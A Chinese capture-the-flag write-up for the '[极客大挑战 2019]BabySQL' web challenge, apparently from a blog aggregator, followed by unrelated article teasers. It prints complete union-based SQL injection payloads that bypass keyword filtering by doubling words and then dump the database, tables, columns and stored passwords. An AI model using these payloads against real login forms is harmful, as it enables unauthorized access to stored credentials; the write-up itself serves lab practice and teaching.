web：[极客大挑战 2019]BabySQL
题目
点进页面显示如下
查看源代码
先尝试一下万能密码
没用，or被过滤了
试着双写看看
回显一串，也不是flag
先查询列数尝试一下，把union select过滤了，使用双写
构造payload
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
显示列数不对，往上加，加到3
（tips：因为要回显，所以需要设一个不是数据里面的用户，直接改成amdin1，回显字段为2和3）
成功
先查询数据库
构造payload
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
得到数据库geek
查询表
/check.php?username=admin&password=11' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),3 %23
// 出现重写的都是被过滤的
有两个表，查询表中字段
/check.php?username=admin&password=1' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')%23得到三个字段
查询字段中的数据
/check.php?username=admin&password=1' uunionnion sselectelect 1,(sselectelect group_concat(passwoorrd) ffromrom b4bsql),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')%23
查看源代码可得到flag
总结
考查重写绕过
相关文章：
web：[极客大挑战 2019]BabySQL
题目 点进页面显示如下 查看源代码 先尝试一下万能密码 没用，or被过滤了 试着双写看看 回显一串，也不是flag 先查询列数尝试一下，把union select过滤了，使用双写 构造payload /check.php?usernameadmin&password1 %27 ununi…...
DRM全解析 —— plane详解（1）
本文参考以下博文： Linux内核4.14版本——drm框架分析(5)——plane分析 特此致谢！ 1. 简介 一个plane代表一个image layer（硬件图层），最终的image由一个或者多个plane(s)组成。plane和 Framebuffer 一样是内存地址。…...
数据结构总结
数据结构 相关博文 单链表数组模拟单链表-CSDN博客双链表数组模拟双链表-CSDN博客栈及单调栈数组模拟栈以及单调栈-CSDN博客队列及单调队列数组模拟队列以及单调队列-CSDN博客KMPKMP详细算法思路-CSDN博客TrieTire树的理解-CSDN博客并查集并查集（面试常考ÿ…...
在SOLIDWORKS搭建一个简易的履带式机器人
文章目录 前言一、构建模型基本单元二、搭建车体模块三.插入轮子4.构建履带 前言 趁着十一假期，在solidworks中搭建了一个履带式机器人小车，计划将其应用在gazebo中完成多机器人编队的仿真。 一、构建模型基本单元 构建底板（a面）…...
C# 为什么要限制静态方法的使用
前言 在工作了一年多之后，我发现静态方法的耦合问题实在是头疼。如果可以尽量不要使用静态方法存储数据，如果要存储全局数据就把数据放在最顶层的主函数里面。 静态方法问题 耦合问题，不要用静态方法存储数据 我这里有两个静态方法&#…...
【已解决】Pyecharts折线图，只有坐标轴没有折线数据
【已解决】Pyecharts折线图，只有坐标轴没有折线数据 1、问题复现2、原因3、问题解决 1、问题复现 在做简单的数据通过 Pyecharts 生成折现图的时候，一直只有坐标轴没有折线数据，但是代码一直看不出问题，代码如下： im…...
win10搭建Selenium环境+java+IDEA（3）
这里主要对前面的maven和selenium做补充说明，以及更新一些pom文件下载依赖的问题。 IDEA里面，如果你创建的工程是maven工程文件，那么就会有一个pom.xml文件，可以在这个网站：https://mvnrepository.com/搜索依赖&#…...
String 、Stringbuffer、StringBuilder区别
上代码 public class Test {public static void main(String[] args) {//String 连接10000次消耗1127ms//StringBuffer 连接10000次消耗5ms//StringBuilder 连接10000次消耗3msStringTest(10000);StringBufferTest(10000);StringBuilderTest(10000);}public static void Strin…...
如何提升爬虫IP使用效率？精打细算的方法分享
在进行爬虫数据采集时，爬虫IP是不可或缺的工具。然而，爬虫IP的费用可能是一个爬虫项目的重要开支之一。为了帮助您节省爬虫IP经费，本文将分享一些经济高效的方法，让您在使用爬虫IP时更加节约成本，提高经济效益。 一、优…...
 Redis 7 第19讲 缓存过期淘汰策略 大厂篇)
(高阶) Redis 7 第19讲 缓存过期淘汰策略 大厂篇
🌹 以下分享 Redis 缓存淘汰策略，如有问题请指教。🌹🌹 如你对技术也感兴趣，欢迎交流。🌹🌹🌹 如有对阁下帮助，请👍点赞💖收藏🐱🏍分享😀 面试题 1. 生产上，redis内存设置的多少 2. 如何配置、修改Redis 内存大小 3. 如果内存满了，如何处理 4. …...
【四旋翼飞行器】模拟四旋翼飞行器的平移和旋转动力学（Simulink仿真实现）
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势：🌞🌞🌞博客内容尽量做到思维缜密，逻辑清晰，为了方便读者。 ⛳️座右铭&a…...
Kaggle - LLM Science Exam（一）：赛事概述、数据收集、BERT Baseline
文章目录 一、赛事概述1.1 OpenBookQA Dataset1.2 比赛背景1.3 评估方法和代码要求1.4 比赛数据集1.5 优秀notebook 二、BERT Baseline2.1 数据预处理2.2 定义data_collator2.3 加载模型，配置trainer并训练2.4 预测结果并提交2.5 deberta-v3-large 1k Wikiÿ…...
mmap底层驱动实现（remap_pfn_range函数）
mmap底层驱动实现 myfb.c（申请了128K空间） #include <linux/init.h> #include <linux/tty.h> #include <linux/device.h> #include <linux/export.h> #include <linux/types.h> #include <linux/module.h> #inclu…...
品牌如何查窜货
当渠道中的产品出现不按规定区域销售时，这种行为就叫做窜货，窜货不仅会扰乱渠道的健康发展，损害经销商的利益，同时会滋生低价、假货的发生，有效的管控窜货，需要品牌先将窜货链店铺找出来，才能进…...
Java基于SpringBoot的车辆充电桩
博主介绍：✌程序员徐师兄、7年大厂程序员经历。全网粉丝30W,Csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 文章目录 1、效果演示效果图 技术栈2、 前言介绍（完整源码请私聊）3、主要技术3.4.1…...
【ARM】（1）架构简介
前言 ARM既可以认为是一个公司的名字，也可以认为是对一类微处理器的通称，还可以认为是一种技术的名字。 ARM公司是专门从事基于RISC技术芯片设计开发的公司，作为知识产权（IP）供应商，本身不直接从事芯片生产…...
企业完善质量、环境、健康安全三体系认证的作用及其意义！
一、ISO三体系标准作用 ISO9001：质量管理体系，专门针对企业的质量管理，投标首选，很多大客户要求企业必备这项。 ISO14001：环境管理体系，针对企业的生产环境，排污，节能环保…...
＜HarmonyOS第一课＞运行Hello World——闯关习题及答案
判断题 1.DevEco Studio是开发HarmonyOS应用的一站式集成开发环境。（ 对 ） 2.main_pages.json存放页面page路径配置信息。（ 对 ） 单选题 1.在stage模型中，下列配置文件属于AppScope文件夹的是？ÿ…...
NLP 02 RNN
一、RNN RNN(Recurrent Neural Network),中文称作循环神经网络它一般以序列数据为输入通过网络内部的结构设计有效捕捉序列之间的关系特征,一般也是以序列形式进行输出。 传统神经网络(包括CNN)，输入和输出都是互相独立的。但有些任务，后续的输出和之前…...
@PostConstruct注解
PostConstruct注解 PostConstruct注解是javax.annotation包下的一个注解，用于标记一个方法，在构造函数执行之后，依赖注入(如Autowired，意味着在方法内部可以安全地使用依赖注入的成员变量，而不会出现空指针异常&#…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件，常用于在两个集合之间进行数据转移，如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model：绑定右侧列表的值&…...
OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式：dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一，腐蚀跟膨胀属于反向操作，膨胀是把图像图像变大，而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...
使用Matplotlib创建炫酷的3D散点图：数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例（带样式）应用场景在数据科学和可视化领域，三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要： 近期，在使用较新版本的OpenSSH客户端连接老旧SSH服务器时，会遇到 "no matching key exchange method found", "n…...
MFC 抛体运动模拟：常见问题解决与界面美化
在 MFC 中开发抛体运动模拟程序时，我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点，详细解析原因并提供解决方案，同时兼顾界面美化，让模拟效果更专业、更高效。 问题一：历史轨迹与小球残影残留 现象 小球运动后，历史位置的 “残影”…...
Unity UGUI Button事件流程
场景结构 测试代码 public class TestBtn : MonoBehaviour {void Start(){var btn GetComponent<Button>();btn.onClick.AddListener(OnClick);}private void OnClick(){Debug.Log("666");}}当添加事件时 // 实例化一个ButtonClickedEvent的事件 [Formerl…...
Scrapy-Redis分布式爬虫架构的可扩展性与容错性增强：基于微服务与容器化的解决方案
在大数据时代，海量数据的采集与处理成为企业和研究机构获取信息的关键环节。Scrapy-Redis作为一种经典的分布式爬虫架构，在处理大规模数据抓取任务时展现出强大的能力。然而，随着业务规模的不断扩大和数据抓取需求的日益复杂，传统…...
【Post-process】【VBA】ETABS VBA FrameObj.GetNameList and write to EXCEL
ETABS API实战：导出框架元素数据到Excel 在结构工程师的日常工作中，经常需要从ETABS模型中提取框架元素信息进行后续分析。手动复制粘贴不仅耗时，还容易出错。今天我们来用简单的VBA代码实现自动化导出。 🎯 我们要实现什么？ 一键点击，就能将ETABS中所有框架元素的基…...
LangChain 中的文档加载器（Loader）与文本切分器（Splitter）详解《二》
🧠 LangChain 中 TextSplitter 的使用详解：从基础到进阶（附代码） 一、前言 在处理大规模文本数据时，特别是在构建知识库或进行大模型训练与推理时，文本切分（Text Splitting） 是一个…...
二维FDTD算法仿真
二维FDTD算法仿真，并带完全匹配层，输入波形为高斯波、平面波 FDTD_二维/FDTD.zip , 6075 FDTD_二维/FDTD_31.m , 1029 FDTD_二维/FDTD_32.m , 2806 FDTD_二维/FDTD_33.m , 3782 FDTD_二维/FDTD_34.m , 4182 FDTD_二维/FDTD_35.m , 4793...